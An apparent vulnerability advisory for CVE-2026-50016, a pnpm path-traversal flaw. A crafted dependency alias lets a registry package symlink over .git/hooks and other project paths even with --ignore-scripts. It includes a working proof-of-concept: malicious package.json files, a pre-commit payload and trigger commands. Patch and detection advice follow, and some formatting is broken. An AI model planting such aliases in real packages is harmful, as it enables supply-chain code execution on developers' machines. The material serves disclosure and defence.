Listen to this Post
How CVE-2026-50016 Works
pnpm is a package manager for Node.js that, prior to versions 10.34.0 and 11.4.0, allowed a transitive dependency alias from registry package metadata to contain path traversal segments. During installation, pnpm later uses that alias as a filesystem path when linking dependency nodes. As a result, a registry package can cause `pnpm install –ignore-scripts` to replace paths in the current project with symlinks to attacker-controlled dependency package directories.
The root cause lies in pnpm’s dependency linking logic: the package manager preserves dependency alias names from package metadata and passes those aliases into dependency linking as path components. The alias is joined with the destination `node_modules` directory and passed to the symlink creation logic without rejecting `..` segments or checking that the normalized result stays inside the intended `node_modules` directory.
Conceptually, a transitive alias like `{ “@x/../../../../../.git/hooks”: “npm:[email protected]” }` is eventually treated as path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks"). The normalized destination escapes the dependency’s `node_modules` directory and lands at the victim project’s `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory.
The dependency chain is: victim installs `[email protected]` → `[email protected]` depends on `[email protected]` → `[email protected]` depends on `[email protected]` through a traversal alias. Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency.
Targets such as .git/hooks, .husky, .githooks, scripts/, tools/, bin/, tests/, .github/actions/<name>, dist/, node_modules/.bin, and undeclared `node_modules/
This vulnerability was reproduced with [email protected].
DailyCVE Form
| Field | Value |
|-|-|
| Platform | pnpm |
<
h2 style=”color: blue;”>| Version | <10.34.0 / <11.4.0 |
| Vulnerability | Path Traversal |
| Severity | High (8.8) |
| Date | 2026-06-25 |
| Prediction | Patch already available |
What Undercode Say
Analytics & Technical Breakdown
Affected Versions:
pnpm --version Versions below 10.34.0 and 11.4.0 are vulnerable
Vulnerable Code Path:
- Alias from registry metadata → `path.join()` with `node_modules` → symlink creation without `..` sanitization
Attack Vector:
- Malicious transitive dependency with crafted alias in `package.json` dependencies
{ "dependencies": { "@x/../../../../../.git/hooks": "npm:[email protected]" } }
Bypass Mechanism:
– `–ignore-scripts` flag does NOT prevent this attack
– No lifecycle script required from malicious package
CVSS Score: 8.8 (High) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Exploit
Proof of Concept Setup
The following script demonstrates the full attack chain:
!/bin/sh set -eu SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd) WORKDIR="$SCRIPT_DIR/demo-workdir" REGISTRY_DIR="$WORKDIR/registry" TARBALLS_DIR="$REGISTRY_DIR/tarballs" VICTIM_DIR="$WORKDIR/victim" READY_FILE="$WORKDIR/registry-ready" PORT_FILE="$WORKDIR/registry-port" rm -rf "$WORKDIR" mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"
Malicious Package Metadata
payload-hooks/package.json (attacker-controlled payload):
{
"name": "payload-hooks",
"version": "1.0.0",
"bin": { "pre-commit": "pre-commit" },
"files": ["pre-commit"]
}
payload-hooks/pre-commit (the actual payload):
!/bin/sh echo PWNED >&2 exit 0
bad/package.json (transitive malicious package):
{
"name": "bad",
"version": "1.0.0",
"dependencies": {
"@x/../../../../../.git/hooks": "npm:[email protected]"
}
}
normal/package.json (victim-installed package):
{
"name": "normal",
"version": "1.0.0",
"dependencies": { "bad": "1.0.0" }
}
Triggering the Exploit
cd "$VICTIM_DIR" git init -q git config user.email [email protected] git config user.name "Demo User" cat > package.json <<'JSON' { "name": "victim", "version": "1.0.0" } JSON cat > .npmrc <<EOF registry=http://127.0.0.1:$REGISTRY_PORT/ EOF The --ignore-scripts flag does NOT protect against this! pnpm install [email protected] --ignore-scripts --config.confirmModulesPurge=false --reporter=silent echo 'trigger commit' > change.txt git add change.txt git commit -m 'trigger pre-commit'
Expected Output
git commit exit code: 0 git commit stderr: PWNED
The `PWNED` message is printed by the attacker-controlled `pre-commit` hook from the `payload-hooks` package.
Protection
Upgrade to Patched Versions
The vulnerability is fixed in:
- pnpm >= 10.34.0
- pnpm >= 11.4.0
Upgrade via npm npm install -g pnpm@latest Or via corepack corepack prepare pnpm@latest --activate Verify version pnpm --version Should show 10.34.0+ or 11.4.0+
Alternative Mitigations (If Upgrade Is Not Possible)
- Audit dependency trees for suspicious aliases containing `..` or path traversal patterns:
pnpm list --depth=99 | grep -E '../'
2. Use lockfile validation to detect crafted aliases:
Review pnpm-lock.yaml for suspicious dependency names grep -E '../' pnpm-lock.yaml
3. Restrict registry sources to trusted registries only:
.npmrc registry=https://registry.npmjs.org/ Avoid using arbitrary custom registries
4. CI/CD pipeline hardening:
- Run `pnpm install` in isolated ephemeral environments
- Scan `node_modules` and project root for unexpected symlinks after install:
find . -type l -ls | grep -v node_modules
Impact
Who Is Affected
- All pnpm users installing packages from npm registries
- CI/CD pipelines using pnpm with `–ignore-scripts` expecting security
- Developers using Git hooks (
.git/hooks,.husky,.githooks) - Projects with local GitHub Actions (
.github/actions/<name>) - Publishing workflows using `pnpm pack` or `pnpm publish`
What an Attacker Can Achieve
| Attack Vector | Impact |
||–|
| Replace `.git/hooks` | RCE on `git commit` |
| Replace `.husky` / `.githooks` | RCE on Git hook dispatchers |
| Replace scripts/, bin/, `tests/` | RCE on project scripts and CI commands |
| Replace `.github/actions/
| Replace `dist/` | Supply chain attack via `pnpm publish` |
| Replace `node_modules/.bin` | Command hijacking |
CVSS Breakdown
| Metric | Value |
|–|-|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | Required (UI:R) |
| Scope | Unchanged (S:U) |
| Confidentiality | High (C:H) |
| Integrity | High (I:H) |
| Availability | High (A:H) |
Base Score: 8.8 (HIGH)
Real-World Scenario
A victim installs what appears to be a normal registry package with pnpm install --ignore-scripts, expecting that untrusted package code cannot execute during installation. The malicious transitive package silently replaces `.git/hooks` with a symlink to an attacker-controlled package directory. When the victim later executes git commit, the attacker’s `pre-commit` hook executes, achieving remote code execution. The same primitive can replace other project-local paths consumed by later tools, making this a versatile supply chain attack vector.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

